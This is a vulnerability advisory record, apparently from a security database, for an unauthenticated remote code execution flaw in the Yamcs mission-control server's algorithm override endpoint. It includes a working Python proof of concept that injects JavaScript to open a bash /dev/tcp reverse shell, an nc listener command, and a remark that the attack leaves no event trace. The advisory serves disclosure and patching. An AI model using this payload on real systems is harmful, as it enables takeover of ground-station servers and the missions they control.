{"id":"CVE-2026-46562","aliases":["GHSA-vmwp-vh32-rj75"],"url":"https://o3.security/vulnerability/CVE-2026-46562","summary":"Yamcs: Remote Code Execution via Mission Database algorithm override","details":"# Remote Code Execution via Mission Database algorithm override\n\n## Summary\n\nThe Nashorn `ScriptEngine` used to evaluate user-supplied algorithm text in `MdbOverrideApi.updateAlgorithm` is constructed without a `ClassFilter`, allowing a user with the `ChangeMissionDatabase` privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no `security.yaml`), the built-in `guest` user has `superuser=true`, so the vulnerability is reachable without authentication.\n\n## Details\n\n**Vulnerable file**: `yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java`\n\n```java\n// L46-53  Nashorn engine obtained without a ClassFilter\nScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()\n        .filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())\n                && candidate.getNames().contains(language))\n        .findFirst().orElse(null);\nif (factory != null) {\n    scriptEngine = factory.getScriptEngine();          // ← ClassFilter not supplied\n}\n\n// L109  user-supplied algorithm text reaches eval()\nscriptEngine.eval(functionScript);\n```\n\n`NashornScriptEngineFactory.getScriptEngine()` accepts an optional `ClassFilter` that restricts which classes JavaScript can reach via `Java.type(...)`. Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, `Java.type(\"java.lang.Runtime\").getRuntime().exec(...)` runs arbitrary OS commands inside the Yamcs JVM.\n\nThe path from HTTP request to `eval` is:\n`MdbOverrideApi.updateAlgorithm` (`yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189`)\n→ `AlgorithmManager.overrideAlgorithm` (`yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559`)\n→ `ScriptAlgorithmExecutorFactory.makeExecutor` (`yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117`)\n→ `scriptEngine.eval(...)`.\n\n## PoC\n\nRun against any reachable Yamcs deployment that has at least one JavaScript `CustomAlgorithm` in its MDB (the `simulator` example MDB includes several, such as `/YSS/SIMULATOR/Battery_Voltage_Avg`).\n\nAttacker-side listener:\n```\nnc -lvnp 4444\n```\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nUsage: python3 <poc>.py http://target:8090 LHOST LPORT\n\"\"\"\nimport json, sys, time, urllib.request\n\nTARGET    = sys.argv[1].rstrip(\"/\")\nLHOST     = sys.argv[2]\nLPORT     = int(sys.argv[3])\nINSTANCE  = \"simulator\"\nPROCESSOR = \"realtime\"\nALGORITHM = \"YSS/SIMULATOR/Battery_Voltage_Avg\"\n\n# Close the generated wrapper function with `}`, execute the payload at\n# top level, then re-open a dummy function so the trailing `}` emitted\n# by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired.\npayload = (\n    '} '\n    'Java.type(\"java.lang.Runtime\").getRuntime().exec('\n    f'[\"bash\",\"-c\",\"exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3\"]); '\n    'function _x(){'\n)\n\npatch = f\"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}\"\n\ndef http(method, url, body=None):\n    req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,\n                                  method=method, headers={\"Content-Type\": \"application/json\"})\n    return urllib.request.urlopen(req, timeout=10).read()\n\nhttp(\"PATCH\", patch, {\"action\": \"SET\", \"algorithm\": {\"text\": payload}})\ntime.sleep(2)\nhttp(\"PATCH\", patch, {\"action\": \"RESET\"})\n```\n\n<img width=\"1841\" height=\"881\" alt=\"nashorn-rce-poc\" src=\"https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671\" /><br>\n\nThe override path emits events only when evaluation fails: a `WARNING` from `ScriptAlgorithmExecutorFactory.java:112` and a `CRITICAL` from `AlgorithmManager.java:546`. Any syntactically valid payload — like the one above — succeeds silently and **no event is fired**, so the attack leaves no trace in the Yamcs event stream.\n\n## Impact\nArbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.\n\nFor a Yamcs deployment managing spacecraft operations, an attacker can:\n- forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission;\n- read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration);\n- pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services);\n- install a persistent backdoor via the same primitive.\n\nWho is impacted:\n- **All Yamcs deployments running in the default configuration** (no `security.yaml` present): any unauthenticated network attacker that can reach the HTTP API port (default `8090`).\n- **Yamcs deployments with security enabled**: any user that has been granted the `ChangeMissionDatabase` system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.\n\n## Affected Versions\n\nAll Yamcs releases that ship the algorithm override endpoint are affected — no `ClassFilter` has ever been applied to the script engine.\n\n- **First vulnerable release**: `yamcs-4.7.3` (2018-11-22). Introduced in commit `951e505d18a3912813b59edc685cbcbd4c609906` (\"added possibility to change in a running processor alarms, calibrations and algorithms texts\"). The commit added the `ChangeAlgorithmRequest` RPC (later renamed `UpdateAlgorithmRequest`) and routed it as `PATCH /api/mdb/{instance}/{processor}/algorithms/{name*}`.\n- **Routing change at `yamcs-5.5.0`** (2021-04): the endpoint was split out of `MdbApi` into `MdbOverrideApi` and moved to `PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}`. The underlying `scriptEngine.eval(...)` sink and the missing `ClassFilter` are identical.\n- **Latest release**: `yamcs-5.12.6` (commit `f1a26fe54587fab9960d7e53fc1bf0c879220e9e`) is affected. These four files (`MdbOverrideApi.java`, `AlgorithmManager.java`, `ScriptAlgorithmExecutorFactory.java`, `SecurityStore.java`) are unchanged between `5.12.6` and current `master` (`96d3e2d474415bea859f40ecbddc1bb8a0d141c1`) — no upstream fix exists.\n\nIn short: **every Yamcs release from `4.7.3` through `5.12.6`, plus current `master`, is vulnerable** (133 release tags spanning 2018-11-22 to present).","published":"2026-07-16T16:06:39.148Z","modified":"2026-08-12T16:25:19.322459Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.0078,"percentile":0.52899,"asOf":"2026-08-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"org.yamcs:yamcs-core","fixedVersion":"5.12.7"}],"fix":{"url":"https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011","label":"yamcs/yamcs@3c55034"},"references":[{"type":"WEB","url":"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7"},{"type":"WEB","url":"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46562.json"},{"type":"ADVISORY","url":"https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46562"},{"type":"FIX","url":"https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011"},{"type":"FIX","url":"https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992"},{"type":"PACKAGE","url":"https://github.com/yamcs/yamcs"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T16:25:19.322459Z"}}